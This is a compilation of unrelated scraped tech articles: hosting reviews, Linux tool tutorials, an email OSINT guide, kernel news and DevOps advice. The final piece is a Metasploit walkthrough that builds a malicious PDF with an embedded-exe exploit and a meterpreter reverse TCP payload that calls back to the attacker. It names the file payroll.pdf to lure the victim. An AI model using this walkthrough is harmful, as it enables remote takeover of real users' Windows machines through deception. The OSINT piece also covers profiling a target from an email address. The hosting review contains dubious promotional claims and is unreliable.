TeamSpeak 3 is a voice-over-internet protocol (VOIP) application that allows computer users to talk to one another over the internet. It is designed for use by gamers and other people who want to speak with others over the internet. TeamSpeak 3 is available for Windows, Mac OS X, Linux, iOS, and Android devices. In this brief review guide, we will guide you to choose the best Teamspeak server hosting services to buy.You can download TeamSpeak 3 server software from their official website and install it on any PC or server with an internet connection. Once installed, it can be used by anyone with a microphone and speakers.List of Best TeamSpeak Server Hosting To Buy – Top PicksHere is a quick overview of the list of the best TeamSpeak server hosting providers to buy in 2024.In fact, you can join voice chat channels by connecting to a server of your choice using the TeamSpeak client software. Most gamers and professional e-sports organizations use this application because it allows them to communicate with challengers and other team members outside of the game without hitting any communication button.Check out TeamSpeak Server List:synchrom.eusameteem.comTS.TheArtofWar.EUWhat are the Key Features of TeamSpeak 3?Below are some of the great key features of Teamspeak3, let’s dive in:Built-in privacy: your conversations are 100% safe, as TeamSpeak 3 does not record any conversation. People can only join the conversation when you allow.Scalable: it is highly scalable means you can extend the group by adding participants from different locations as per your game requirements.Optimal voice quality: TeamSpeak 3 offers excellent voice-over quality as compared to other voice software. You don’t have to worry about background sounds or echoes. It comes with advanced microphone controls. Hence, you can adjust volume accordingly.Chat and file transfer: You can start a chat with a specific person by using unique IDs. Moreover, you can also store, upload, and share files securely on the server.Role-based access: it includes robust permission control, which allows you to manage access and control who can join your server and interact with you.Data encryption: It supports public and private key authentication so you can be at peace and the data you share across servers from different channels is encrypted and safe.Decentralized server: TeamSpeak 3 does not rely on one server, so it is capable of handling many users at a time without crashing and maintains optimal performance.In-game overlay: This helps to ensure a great user experience while focusing on the game and receiving all the notifications and updates for joined users and chat messages.3D sound effects: TeamSpeak 3 includes 3D sound features that make the conversation more intuitive and realistic like you are talking live.Excellent Security Features: TeamSpeak is an open communication platform, but has strict security features. You can control access and check which chat rooms they can access. Also, TeamSpeak makes it simpler for users and administrators to get onto servers by using a new approach that does not require a username or password.Free and Supports Integrated Chats: The application is free of charge and has a built-in text chat option that makes it simple to exchange URLs and other text-based information among team members.Supports Mobile Devices: TeamSpeak is also available on Android devices, i.e., you may join Teamspeak conferences from anywhere using the excellent iOS app for the iPhone, iPod, and iPad, which supports both WLAN and UMTS.Compatible with different platforms: Nearly all systems can use TeamSpeak, including Mac OS X.How to Choose the Best Teamspeak Server Hosting?Following this methodology when selecting TeamSpeak server hosting will help to meet your specific needs, guaranteeing a great voice communication experience for you and your users alike.Know your requirements and location preferences, like how many people will be using server.Consider pricing plans and choose a reputed company that is well-known for providing the best service.You must go for server specification, hardware, ample RAM, and other bandwidth factors.Evaluate for security measures like DDOS protection, data encryption, etc.Consider the scalability and flexibility of the hosting service to upgrade and downgrade in the future.Read reviews from other past customers on the trusted online platform.Also ReadBest Fivem Server Hosting Provider – Top PicksBest TeamSpeak Server Hosting Provider ComparedYou can find numerous TeamSpeak hosts online, but make sure to choose the right one. There are many TeamSpeak hosts that offer access to limited team size and buffering communications. Hence, to avoid them, check out our below-listed best TeamSpeak server hosting providers.1. Gravel Host (Editor’s Choice)Gravel Host is one of the best TeamSpeak server hosting that has been in the market for a long term. It offers great game server hosting and hardly takes any time to connect you with other team members. You can dive into your gameplay in minutes after the payment and enjoy clear communications.In addition to other countries, Gravel Host maintains servers in 8 locations worldwide. It is a great option for it provides high-quality services, affordable pricing, and a maximum slot limit per account.Key FeaturesDDoS protection: All its hosting services offer effective DDoS protection, which provides users with guaranteed uptime.100% server uptime: this tool promises to deliver 100% server uptime with undisturbed service to make sure you are always available on the network.8 global locations: With GravelHost Teamspeak server hosting, users can interact and talk with other gamers in eight global locations, including Europe, Asia, Australia, and North America.Powerful control panel: Users can easily handle other websites and modules with the help of a powerful control panel.ProsInstant setup: Once you make the payment successfully, your services will be set up and deployed in no time.24/7 support: their average reply time is 5 minutes, which means a quick reply. The experts at gravel host are always available to help 24/7 with issues.Budget-friendly: all plans are designed to be budget-friendly and suit all small and big businesses.72-hour money-back policy: No matter what plan you choose, you can always ask for money back within 72 hours hassle-free.ConsLacks in advanced game server features: recently, users reported that it might not suit the game server with highly-advance features.Why do we recommend it?GravelHost stands out for its user-friendly approach, making deployment of game servers on the cloud quick and painless without needing professional assistance. Instant deployment available across eight global locations means setting up your Minecraft server is quick and painless! You can take advantage of dedicated servers offering high-performance Teamspeak server hosting and access to globally distributed data centers. Moreover, you can also access unlimited slots for various games, such as Minecraft!Who is it recommended for?GravelHost is popular among many different kinds of users, particularly gamers and gaming groups. Gamers find Gravel Host easy to use because creating Minecraft servers doesn’t require being an expert techie; gaming groups use Gravel Host as a group play server to enhance gameplay experiences; small businesses and website hosts also take advantage of Gravel Host due to its speedy servers around the globe – basically, anyone looking for reliable hosting can use Gravel Host!Editors ChoiceGravel Host is the top-notch choice for Teamspeak server hosting thanks to its reliability, security, and affordability. Setting up your server quickly and effortlessly with features tailored specifically to you – competitive pricing makes this an attractive proposition too; in addition, they have an expansive library of mods/mod packs which are easily installed by just clicking from their control panel; supporting popular mod platforms like Curseforge Technic Modrinth FTB ensure a tailored hosting experience!Start 72 hours free trial2. Zap-Hosting (Affordable Option)Zap Hosting is a trusted TeamSpeak server hosting provider that offers easy management and DDoS protection. It is huge, fast, unique, and comes with mobile optimized web panel. Zap Hosting hardly takes any time to set up and is accessible across various locations.Key FeaturesHassle-free game switching: you can easily switch from one game to another without experiencing lagging.Global server locations: It has a wide range of locations, which allows gamers to choose the closest location to their target group.Modern hardware: The tool uses hardware from a reputed brand, so there is no chance of packet loss or server downtime.Voice over via click: Users can use a voice bot to speak and communicate with their team while playing a game with just one click.ProsHigh-speed SSDs: you can ensure that the game will be super fast and will not lag as it includes super-fast SSD for optimal performance.My music bot: It also comes with my music bot feature, which is an additional package for listening to music in groups.Supports taking backup: Users can back up their data to make sure they don’t lose their game data.DDoS protection manager: You can benefit from a premium Ddos protection manager when you buy a TS3 server for gaming.ConsUnstable server when handling more players: some users faced poor web interface and server problem when it was about handling more team members in the game.Why do we recommend it?Zap Hosting offers several compelling reasons for our recommendation of their servers: firstly, top-of-the-line hardware ensures an enjoyable Teamspeak server hosting experience without disruptions. Say goodbye to frustrating downtimes and packet losses with Zaphosting’s stable connection, eliminating server-side packet losses completely. Plus, it also has many additional benefits like MyMusicBot music sharing among your friends. There are many excellent features like live chat, automated setup options, DDoS protection, high-speed SSD storage devices, and global server locations, which makes Zaphosting an excellent hosting option suitable for VPSs root servers or game servers alike!Who is it recommended for?Gamers often opt for Zap Hosting when it comes to hosting their game servers, such as TeamSpeak 3 servers, due to its reliable hardware and low latency connections that ensure seamless gameplay without disruptions. Gaming communities also opt for Zap Hosting due to its dedicated servers, which facilitate collaborative and immersive gaming experiences for members. Likewise, small businesses and individuals use Zap Hosting’s fast and scalable infrastructure for web hosting, VPSs, and root servers as a secure way of building their online presence securely.Try Zap-Hosting3. HostHavocHost Havoc offers a 72-hour money-back guarantee unlike other TeamSpeak server hosting providers. It offers high overall availability and full-time support. Using the most dependable infrastructure, equipment, and redundant uplinks, Host Havoc provides 99.9%+ uptime and continuous server performance to its customers.Additionally, it offers DDoS Protection, file transfer, and good storage space. Users can easily set up Host Havoc in minutes without any hassle. Another best feature of Host Havoc is it offers ticket-based support.Key FeaturesInstant activation: you can easily start using the service within few minutes once you have made the payment.Refined control panel: it has refined control panels to manage the infrastructure security and improve user experience.Industry-leading hardware use: The platform is developed on top industry-leading software using Ryzen and Xeon CPUs, and the company operates its own hardware.Standard DDoS protection: this platform is carefully designed by security experts, keeping in mind DDoS attacks and other threats.ProsNo commitment: you can cancel your membership anytime hassle-free. This platform does not bind with any commitment or contract.24/7 help: The platform offers a response within 10 minutes. It’s quite fast, and users can get issues solved within minutes.3-day money-back guarantee: If you want to discontinue the service, you can easily claim a money-back guarantee within 3 days.ConsLimited hosting options: Users say they found limited hosting options outside their game server, which was a limitation while playing the game.Why do we recommend it?With Host Havoc, you can host your own game server. It supports over 30+ games, so you can choose your favorite games and host them. It has dedicated servers and is built on one of the trusted processors, Ryzen and NVMe SSD, to offer unmatched bandwidth compared to others. You can also choose HostHavoc Teamspeak server hosting for your demanding project needs because it has managed and unmanaged server solutions. The best part? It has over 12 data centers across the world and offers premium DDOS protection services.Who is it recommended for?Host Havoc can be used by anyone, including gamers, gaming communities, and small businesses who are searching for affordable hosting solutions. If you are a gamer, you can have high-performance game servers for multiplayer gaming. Moreover, it also has customizable and flexible hosting plans. Additionally, small businesses can also use this platform for web hosting, voice servers, or virtual private servers (VPS) to establish a good online presence.Try HostHavoc4. GameServersGameServers is another popular TeamSpeak server hosting been in the market since 2004. It has 500,000+ customers and is known to offer a seamless multiplayer gaming experience to all players across the world.GameServers is the host of choice for large gaming developers when they want to host services because of its reputation. It is known to deliver excellent performance and enables real-time communication with team members. You can find various customization options in the control panel and excellent features like ClanPay.Key FeaturesDedicated control panel: You can independently configure and manage the servers and customize the backup options as needed.100% money back guaranteed: it allows users to cancel the service within the first 5 days and get a full money refund.Instant server setup: What’s great when you can have your server live within 60 seconds? Gameservers does that.Seamless team speaks switching: the platform has Ventrilo and mumble servers installed so users can easily switch servers at different locations.Pros200 mods for games: Users can easily use 200 mods of games and manage complex gaming modes with just buttons.Clanpay share payments: it has a clan pay feature that gives the user their own personal page at gameservers.com.Largest location network: The user can easily switch voiceover and game as the platform supports 36 points of data centers.Get full technical support: it has dedicated technical experts to help 24/7 for any kind of issue and ensure high uptime.ConsOnly suitable for gaming: A few users found that this platform is only beneficial for the gaming industry and might face interface issues when used for other team speak hostings.Why do we recommend it?If you want to experience smooth gaming without delay and a fast server, then go for Gameserver. You can change your server spots up to 4 times in a month as per your gaming requirements to get near target and experience the game to the fullest. The game server is expanded across 36 points globally and has a record of over 50 thousand satisfied customers, which is the reason why people choose it first for multi-player games. The platform guarantees to offer the best service, or else you can get your full refund back within 5 days. Hence, it is the perfect Teamspeak server hosting choice for anyone seeking a high-performance, flexible gaming server solution.Who is it recommended for?GameServer.com is ideal for a wide range of users. If you are a passionate gamer who wants a fast and reliable server, then you must choose a gamer server. It is perfect for multi-player games because it uses its robust infrastructure to host alpha and beta tests, as well as full game releases. You can also use GameServer to host tournaments and competitive events and have a great time of gaming with your friends.Try GameServersConclusion: Best TeamSpeak Server HostingTeamSpeak is a proprietary software package that provides voice chat and text chat features to gamers, businesses, and organizations. TeamSpeak is often used for business meetings, online education, or training sessions.The best TeamSpeak server hosting service providers are the ones that offer a balance of cost, performance, and quality. Cost should not be the only factor in choosing a host as it can be an expensive option for some users. ZAP Hosting, Host Havoc, and GameServers are a few trusted server hosting providers. Check and compare the above-listed TeamSpeak Server Hosting providers based on the features and choose the one that fits your requirements.FAQs: Best TeamSpeak Server Hosting1. Is TeamSpeak faster than Discord?TeamSpeak is a proprietary VoIP software that was designed for online gaming. It is known for its high sound quality and the ability to host large conference calls. Discord is also a proprietary VoIP software that was designed for gamers. It too has high sound quality and it can also host large conference calls, but it has more features than TeamSpeak.Discord also allows you to send text messages to other users in the chat room, while TeamSpeak does not allow this feature.2. What port does TeamSpeak use?TeamSpeak is a voice chat software that is used to create a virtual meeting space where people can come together and talk. It was originally designed for multiplayer gaming, but it has evolved into a tool that is now used by businesses, schools, and other organizations.TeamSpeak uses port number 10011 for ServerQuery, 9987/udp for Voice, and 30033/tcp for file transfer.3. Is it free to host a TeamSpeak server?It is free to host a TeamSpeak server if you install it on your computer. But if you want to use the TeamSpeak hosting service, then there are some costs involved.The TeamSpeak server cost depends on the number of server slots required. For instance, if you need 64 slots and a virtual server, the annual renewal cost may come to around $55. Similarly, if you demand 128 slots with 2 virtual servers, it will cost $100.4. Where can you buy the TeamSpeak server?TeamSpeak is a popular voice chat software. It is used to communicate with other people within a specific game or online community.There are many places where you can buy a TeamSpeak server, but not all of them offer the same features. Some of the most well-known places are Amazon, eBay, and Newegg.Also, you can download the TeamSpeak server for various platforms like Windows, Linux, Android, IOS devices, etc., from the official page.
WebP Image Conversion On A Linux Server
WebP is a new image format that provides a lossless and lossy compression on PNG and JPEG file types. It was developed by Google resulting in up to 80% smaller image size. It is supported on all most all modern browser versions. You can use Nginx and Apache to determine if this format is supported by the browser Agent then server the image in a new format instead of the original image. This file format also supports animated images which can also result in large reductions in image sizes. Converting to a smaller size file will improve load times and SEO scores and improve the end user experience of viewing your site. This guide is a tutorial to convert images to this format via command line utilities on a Linux server.Install WebP ToolsChange to the src directory to download the packages:cd /usr/srcYou can retrieve the packages from Googles repository. We are going to get the x86 64 bit linux packages in this examplewget https://storage.googleapis.com/downloads.webmproject.org/releases/webp/libwebp-0.6.0-rc3-linux-x86-64.tar.gzUntar the filestar xfvz libwebp-0.6.0-rc3-linux-x86-64.tar.gzGo in to the directory:cd libwebp-0.6.0-rc3-linux-x86-64This will provide the following binaries in the bin directorycwebp – WebP encoder tooldwebp – WebP decoder toolvwebp – WebP file viewerwebpmux – WebP muxing toolgif2webp – Tool for converting GIF images to WebPConvert Images to WebPFirst you will want to export the bin directory to your path:PATH=$PATH:”/usr/src/libwebp-0.6.0-rc3-linux-x86-64/bin”Then export the PATH variable:export PATHNow if you type cwebp it should work as a valid command# cwebp
Usage:
cwebp [options] -q quality input.png -o output.webp
where quality is between 0 (poor) to 100 (very good).
Typical value is around 80.
Try -longhelp for an exhaustive list of advanced options.Now you can convert images to webp formatting using the cwebp command:cwebp [options] -q quality input.jpg -o output.webpThe quality can be between 0 (poor) and 100 (very good). You will need to determine the quality you are looking for, the lower the quality the more reduction in size you will also achieve. You will want to replace intput.jpg with the input file and output.webp with the output file.Once you have converted your images you will also need to detect browser compatibility to server the appropriate image as not all browsers support the WebP format for images at this time. We will be covering how to do this selection in later guides based on individual web server packages.Sep 18, 2017LinuxAdmin.io
Alternatives to popular CLI tools: watch
This article spotlights alternative tools to watch.
The software featured here is free and open source.
watch alternatives
viddyModern watch command. It features in our Top 100 TUI apps
hwatchResults are scrollable and displayed. Also features in our Top 100 TUI apps
watchexecRun a command when files in the current directory change
neowatchAlternative to watch also written in Rust
chokidarWatch file system changes
watcherWatch files in a directory for changes
wfhRsync as you edit
reflexRun a command when files change
rwatchRust implementation of watch
Have we missed any open source alternatives to watch? Please let us know!Other alternative tools to watchx
All the CLI tools in this series.
Read our complete collection of recommended free and open source software. Our curated compilation covers all categories of software. The software collection forms part of our series of informative articles for Linux enthusiasts. There are hundreds of in-depth reviews, open source alternatives to proprietary software from large corporations like Google, Microsoft, Apple, Adobe, IBM, Cisco, Oracle, and Autodesk. There are also fun things to try, hardware, free programming books and tutorials, and much more.
What Cybersecurity Experts Do with a suspicious E-Mail?
In today’s digital era, we forgot about sending letters to our friends; nowadays, we have emails. As cybersecurity experts, we have lots of encounters with suspicious target emails, sometimes during red teaming for information gathering we also need to go offensive to extract details of a person from e-mail address. Usually we analyze metadata, tracing the email’s journey through servers to pinpoint its origin. Then, we analyze the sender’s identity or other information, checking if their are signs of impersonation or phishing. Next, we carefully examine the email’s content for malicious links or attachments. But that is a manual process and seems very boring for a lazy person.If we have a OSINT (Open Source Intelligence) tool, then manually checks? Today on our deck we have an OSINT tool called Mosint (did this name came from Mail OSINT?). Mosint is an automated email OSINT tool written in Go language that allows us to investigate for target emails in a fast and efficient manner. It consolidates numerous services, enabling security researchers to swiftly access a wealth of information.Now it’s time to install Mosint on our Kali Linux system. Here we are using Kali Linux system but on the same way we can install it other Debian-based Linux distributions.It is on the Go language so first we need to install Go language on our system by using following command:sudo apt install golang -yThe above command will install Golang on our Kali Linux system, as we can see in the following screenshot:If this method of installing Golang isn’t working then we can install it manually by following our old article about installing Golang on Kali Linux system.Now we have installed Golang on our Kali Linux system and now we are all set to install Mosint. We can clone it from GitHub and install it but that thing we did on all GitHub cybersecurity tools. What if today we do something different. Today we are gonna install and run it via Docker. Now a Docker container is a lightweight, portable, self-sufficient package that includes all necessary components to run program. We already have a dedicated article on Docker.Docker comes pre-installed on Kali Linux’s almost all versions but in case we need to install it we can run following command:sudo apt-get install docker.io -yin the following screenshot we can see that we already have docker on our system.Now we can easily install Mosint on our system via docker by simply using following command:sudo docker build -t mosint .We can see the process of above command on the following screenshot:It may take a minute depending on our internet speed and system configuration. After the setup is complete we run the Mosint tool via Docker. First let’s check the help options via following command:sudo docker run mosint –helpIn the above command first we use sudo command to run Docker as the superuser or root user otherwise it will show us “permission denied” issue. Then we call Docker and command it to run run Mosint then we can use Mosint’s flags to use it, as example here we used the –help flag to see what we can do with Mosint, as we can see in the following screenshot:Let’s not wasting anymore time and run it against an e-mail address. So the command will be as following:sudo docker run mosint mail@email.comIn the place of mail@email.com we need to put our target e-mail id. Here for example we choose our business e-mail address and we can see the output on the following screenshot:On the following screenshot we can see the result:Mosint can check various services to gather information of an e-mail id. On the above screenshot we can see various details like It’s not a disposable mail address, IP address of mail service provider, Social media account information (yes we don’t have any with this mail), and even Google search results.Mosint’s main features are:Fast and simple email-based scanningOptimized for ease of use and lightweight on resourcesEmail verification and validationChecking Social Media AccountsChecking data breaches and password leaksFinding related emails and domainsScanning pastebin dumpsGoogle SearchDNS/IP LookupOutput to JSON fileServices used by MosintThere are lot’s of functions are in this Mosint tool. It also uses some online services likeSome of the above services requires to put API keys on the Mosint tool for details we can check their GitHub repository. Extra Talks About E-mail’s ForensicsThis is the basics to gather information about a target mail id. Previously we need to do things manually and complete the following checklist:Header Investigation: Suppose we have received a package. Before opening it, we check the package’s label to see where it’s came from and who sent it. Similarly, we’ll check the email’s header, which is like its digital label, to trace its origin & path.Metadata Check: Sometimes file like image files have metadata store inside it, in simple words these are like where about of files. So if we get an e-mail with files we can check the metadata to extract some information like when they were sent, from which device, and sometimes even the sender’s location.IP Address Tracing: This is very important to check the sender’s IP address, IP will lead us to target’s location.Email Service Provider Investigation: There are different types of mail carriers. Some are like the big, well-known e-mail services, while others are like local e-mail service providers. If we identify the email service provider, then in some cases we can understand more about how the email was sent.Content Analysis: May be the email content is like deciphering a secret code. We’ll carefully read through the email to uncover any hidden meanings, clues, or unique characteristics that could reveal more about the sender.Attachments Examination: If the e-mail comes with some extra media files with it then before opening it, we would inspect everything to make sure it’s safe because some file formats can be comes with execution payloads.Social Media and Online Presence: When we need to search something we use search engines. Similarly we’ll search for the email ID on social media and other online platforms. This helps us build a profile of the target and potentially uncover more about their identity and activities.This is how we cybersecurity experts inspect an e-mail. We have try to cover the basic things of it and learnt using of Mosint tool on Kali Linux system. Hope this article will be helpful.Love our article? Make sure to follow us on Twitter and GitHub, we post article updates there. To join our KaliLinuxIn family, join our Telegram Group & Whatsapp Channel We are trying to build a community for Linux and Cybersecurity. For anything we always happy to help everyone on the comment section. As we know our comment section is always open to everyone. We read each and every comment and we always reply.
Linus Torvalds Tactfully Discusses Value of getrandom() Upgrade for Linux vDSO
Linux’s vDSO (or virtual dynamic shared object) is “a small shared library that the kernel automatically maps into the address space of all user-space applications,” according to its man page. “There are some system calls the kernel provides that user-space code ends up using frequently, to the point that such calls can dominate overall performance… due both to the frequency of the call as well as the context-switch overhead that results from exiting user space and entering the kernel.”
But Linus Torvalds had a lot to say about a proposed getrandom() upgrade, reports Phoronix:
This getrandom() work in the vDSO has been through 20+ rounds of review over the past 2+ years, but… Torvalds took some time out of his U.S. Independence Day to argue the merits of the patches on the Linux kernel mailing list. Torvalds kicked things off by writing:Nobody has explained to me what has changed since your last vdso getrandom, and I’m not planning on pulling it unless that fundamental flaw is fixed. Why is this _so_ critical that it needs a vdso? Why isn’t user space just doing it itself? What’s so magical about this all?This all seems entirely pointless to me still, because it’s optimizing something that nobody seems to care about, adding new VM infrastructure, new magic system calls, yadda yadda. I was very sceptical last time, and absolutely _nothing_ has changed. Not a peep on why it’s now suddenly so hugely important again. We don’t add stuff “just because we can”. We need to have a damn good reason for it. And I still don’t see the reason, and I haven’t seen anybody even trying to explain the reason. And then he responded to himself, adding:In other words, I want to see actual *users* piping up and saying “this is a problem, here’s my real load that spends 10% of time on getrandom(), and this fixes it”. I’m not AT ALL interested in microbenchmarks or theoretical “if users need high-performance random numbers”. I need a real actual live user that says “I can’t just use rdrand and my own chacha mixing on top” and explains why having a SSE2 chachacha in kernel code exposed as a vdso is so critical, and a magical buffer maintained by the kernel.” Torvalds also added in a third message:One final note: the reason I’m so negative about this all is that the random number subsystem has such an absolutely _horrendous_ history of two main conflicting issues: people wanting reasonable usable random numbers on one side, and then the people that discuss what the word “entropy” means on the other side. And honestly, I don’t want the kernel stuck even *more* in the middle of that morass…. Torvalds made additional comments. (“This smells. It’s BS…”) Advocating for the change was WiredGuard developer Jason Donenfeld, and more communication happened (and continues to happen… 40 messages and counting).At one point the discussion evolved to Torvalds saying “Bah. I guess I’ll have to walk through the patch series once again. I’m still not thrilled about it. But I’ll give it another go…”
The Best Platforms to Learn the Skills for Advanced Specialists
Mastering DevOps is a critical endeavor for technology professionals who aim to streamline and enhance the collaboration between software development and IT operations. A solid understanding of DevOps engineering skills is vital for those looking to excel in this field. As the demand for these skills surges, professionals seek the best platforms to acquire and refine their expertise. Additionally, the skills required for DevOps architect have become increasingly essential, as these roles are pivotal in guiding the strategic direction of projects.DevOps Engineer Skills List – The BasicsSpecific foundational DevOps engineer skills required are non-negotiable for professionals aiming to succeed. Understanding these basics is crucial for anyone looking to establish or advance a DevOps engineer career.First and foremost, knowledge of coding and scripting is essential. DevOps engineers must handle various automation scripts and understand code to bridge the gap between software development and IT operations effectively. Proficiency in languages like Python, Ruby, or Java is often necessary.Next, an in-depth understanding of continuous integration and continuous delivery (CI/CD) pipelines is a key skill. This expertise ensures that code changes are automatically built, tested, and prepared for release, enhancing efficiency and reducing manual errors.Familiarity with infrastructure as code (IaC) is another critical skill. This approach allows engineers to manage and provision infrastructure through code instead of manual processes, enabling quicker and more consistent environment setups.Lastly, a strong grasp of version control systems, such as Git, is vital. These systems allow DevOps engineers to track and manage changes to the codebase, facilitating collaboration and minimizing conflicts.These key skills for DevOps engineer careers form the bedrock upon which professionals can build more advanced capabilities.Top Skills for DevOps EngineerTop skills for DevOps architects include expertise in system architecture and design, which enables them to create scalable and efficient infrastructure. Profound knowledge of automation tools and practices is crucial for streamlining workflows. They must also excel in scripting and coding to automate processes effectively. A deep understanding of CI/CD pipelines is essential for integrating and deploying code seamlessly. DevOps architects also need strong collaboration and communication skills, as they often lead cross-functional teams. Their ability to manage and implement monitoring and logging practices ensures system reliability and performance optimization.The Best Platforms to Learn New Skills and Hone Current OnesThe right learning platform can be a game-changer, offering resources to learn new skills and hone existing ones. Whether you’re starting fresh or aiming to upgrade your expertise, the following platforms provide comprehensive learning experiences tailored to a variety of needs.CourseraCoursera partners with universities and organizations worldwide to offer courses in various domains, including technology, business, and science. Its offerings range from individual courses to full degree programs, catering to learners at different stages of their careers. With a blend of video lectures, interactive quizzes, and peer-reviewed assignments, Coursera provides a robust learning environment for professionals seeking to expand their knowledge base.UdemyUdemy boasts a vast library of courses in numerous fields, from programming and web development to personal development and business. Its flexible, self-paced learning model allows professionals to learn at their convenience. Instructors from around the globe share their expertise, offering practical, real-world insights and skills that are immediately applicable in professional settings.PluralsightPluralsight focuses specifically on tech and creative professionals, offering a wide range of courses in areas like software development, IT ops, and cybersecurity. Its platform includes skill assessments, learning paths, and courses designed by industry experts, making it ideal for those looking to stay ahead in the tech industry.LinkedIn LearningLinkedIn Learning provides a diverse array of courses linked to professional development and industry-specific skills. With a subscription, users get access to an extensive library of courses ranging from leadership and management to programming and data science. Its integration with the LinkedIn network allows for a personalized learning experience, recommending courses based on your profession and interests.ConclusionDevOps is a relatively new profession. DevOps engineer skills can be helpful if you want to take on your next career path, and given the nature of the job, you may want to improve your skills.Thus, acquiring basic skills for a DevOps engineer can be achieved through various avenues. Online platforms like Coursera, Udemy, and LinkedIn Learning offer courses covering fundamental concepts in DevOps, including version control, continuous integration, and deployment automation. Additionally, community forums, meetups, and conferences provide valuable opportunities for networking, knowledge sharing, and hands-on experience.Furthermore, seeking mentorship from experienced professionals and participating in real-world projects or internships can accelerate skill development and provide valuable insights into industry best practices. By leveraging these resources and actively engaging with the proper community, aspiring engineers can build a strong foundation and embark on a successful career journey in DevOps.
Linux Scoop — Running Script Auto Customize Cinnamon Desktop…
Dive into the magic of desktop customization with our latest video demo! 🖥️✨ We’re about to take you on a journey through the process of effortlessly sprucing up your Linux Mint 21.3 Cinnamon Edition desktop environment. 🐧💻In this demo, we’ll be showcasing the sheer brilliance of automation with a script designed to give your desktop a whole new personality! 😍 Say hello to the Catppucin color scheme – a delightful fusion of elegance and modernity that’s bound to steal your heart. 💖✨Picture this: a desktop that’s not just functional but also a reflection of your unique style. With Catppucin, your Linux Mint experience is about to get a serious upgrade! 🚀 Whether you’re a seasoned Linux user or just dipping your toes into the world of open-source, this customization script is a game-changer.So, if you’re ready to add a splash of personality to your digital workspace, look no further! 💫 Click the link below to download the script and embark on a journey to desktop perfection. 🌈✨DOWNLOAD SCRIPT AUTO CUSTOMIZATION 📥👇https://ko-fi.com/s/5fd2134de1https://www.patreon.com/linuxscoop/shop/script-auto-custom-cinnamon-catppuccin-124227https://linuxscoop.gumroad.com/l/cinnamon-catppuccin-linux-mint-cinnamonLet’s make your desktop dreams a reality! 💻✨ #LinuxMint #DesktopCustomization #CatppucinColorScheme
vtm Is A Text-Based Desktop Environment That Runs Inside A Terminal
vtm is a text-based desktop environment that runs inside a terminal, available for Linux, Microsoft Windows, macOS, and *BSD.The tool can run TUIs (terminal user interface) applications in floating windows that can be moved, resized and closed (mouse support included) just like windows in a traditional desktop environment. vtm is a terminal multiplexer too, like tmux and screen, allowing users to detach and reattach sessions from a terminal, allow multiple computers to connect to the same session at once, etc. Just click the Disconnect button, and the vtm TUI is closed, but the process continues to run in the background, allowing you to re-open it later.As for supported terminals, vtm should work with most of the popular terminal emulators, including GNOME Terminal, Konsole, Xfce4 Terminal, kitty, Alacritty, xterm, st, iTerm2, Windows Terminal, Windows Command Prompt, and Termux.This is a very short vtm demo I’ve recorded to show its window management features:As you can see in the video, vtm comes with an application launcher that slides from the left. From there you can launch applications, access its settings (right now it only has a frame rate setting), disconnect from vtm or shut it down.Besides allowing you to run third-party TUI applications in their own windows, vtm also comes with a few built-in applications: a terminal emulator (required to run external TUIs),tiling window manager,workspace navigation helper,a few demo applications.You might also like: Zellij Is A New Terminal Multiplexer Written In RustAdding third-party TUI applications is quite easy. Start by creating the vtm configuration file using the example available on its GitHub page. Copy the sample configuration and paste it into ~/.config/vtm/settings.xml. This sample configuration includes a commented out entry for mc (Midnight Commander)—uncomment it to give it a try (remove the <!– and –> surrounding the mc line), and you’ll now have this in your configuration file:<item id=mc label=”mc” type=SHELL title=”Midnight Commander” param=”mc” notes=” run Midnight Commander in its own window “/>In the same way, you can add other TUI applications to vtm. For example, to add htop, you’d use:<item id=htop label=”htop” type=SHELL title=”htop” param=”htop” notes=” run htop in its own window “/>After making changes to the vtm configuration file, make sure you close vtm using its Shutdown button (and not Disconnect – this leaves it running in the background), then start it again. Once you add a new application, it should be listed in the vtm launcher.I’ve been using vtm for a few days, and so far my main issue with it is the way it copies text inside the built-in terminal. You need to RightClick to copy the selection, then paste using RightClick. The clipboard content is rendered around the mouse cursor, which is nice, but can be annoying at times. The local clipboard buffer can be cleared using Left + RightClick anywhere. Also, you can’t paste the text outside vtm unless the terminal supports OSC 52, and VTE terminals, like GNOME Terminal, don’t support this.The plan is for vtm to become a GUI application, which means adding a GUI frontend to vtm that only displays a cell matrix. This way, the application will no longer be constrained by the external terminal’s capabilities—this will allow integration with the operating system’s clipboard, among other things. Until then, you’ll have to get used to the current clipboard behavior if you want to use it.It’s also worth noting that while vtm acts like a desktop environment, it needs a graphical terminal emulator to run, so you can’t use it as a fully fledged desktop environment. If you want to make it look like a text-based desktop environment, you could run a terminal window in full-screen and set it to launch vtm on startup.Install vtmOn the vtm releases page you’ll find binaries for Linux, macOS, FreeBSD, OpenBSD, NetBSD, and Microsoft Windows. Extrat the downloaded archive, then with a terminal opened in the folder where the extracted vtm binary is located, install it to /usr/local/bin using:sudo install vtm /usr/local/bin/
Windows Takeover with a PDF File – The Wandering Irishman
There are multiple ways to exploit and take over a Windows machine, today we will look at doing this with a PDF file containing a virus. For this you will need Kali Linux as your attacking machine and a Windows box, preferably on a virtual machine so that you are not doing anything illegal. So,… There are multiple ways to exploit and take over a Windows machine, today we will look at doing this with a PDF file containing a virus.
For this you will need Kali Linux as your attacking machine and a Windows box, preferably on a virtual machine so that you are not doing anything illegal.
So, once you have that set up, we can begin. Firstly open up your Kali Linux VM and open a terminal window. Then we can start Metasploit.
sudo msfconsole
Then we want to search for PDF exploits for Windows.
search type:exploit platform:windows adobe pdf
This will show us the exploits available to hijack the Windows machine together with Adobe vulnerabilities.
So we can see there are a lot of Adobe exploits associated with Windows systems. We just need to find the right one for this tutorial. So let’s look through the list and see what we can use.
Here in the list we have highlighted a couple that are useful. The one we are going to use is the exploit without the JS (Javascript) option. Exe is an executable file for Windows systems.
use exploit/windows/fileformat/adobe_pdf_embedded_exe
info
The first command will tell Metasploit that we want to embed this exploit script into the PDF.
The info command will show us exactly how to use this exploit to take over the Windows machine with some Social Engineering.
Now that’s set up we next need to embed our payload into the PDF to get a Meterpreter session from a reverse TCP connection when we connect later.
set payload windows/meterpreter/reverse_tcp
show options
As we can see we just need to add some details to the payload. The LHOST is not set, that’s our attacking machine IP address. This is the machine that will listen for incoming connections. So let’s set that and embed it into the PDF file we are generating.
set LHOST 192.168.1.20
Perfect, that’s the PDF set up. Next we just want to name the file that we will send to the Windows machine.
For this we will want to name the file as something that will not cause suspicion for a Windows user, so we will name it payroll.pdf. This will make it easier for the user to download the file to their computer.
set FILENAME payroll.pdf
Next we just want to type the exploit command and this will generate our vulnerable PDF file on the Kali machine.
exploit
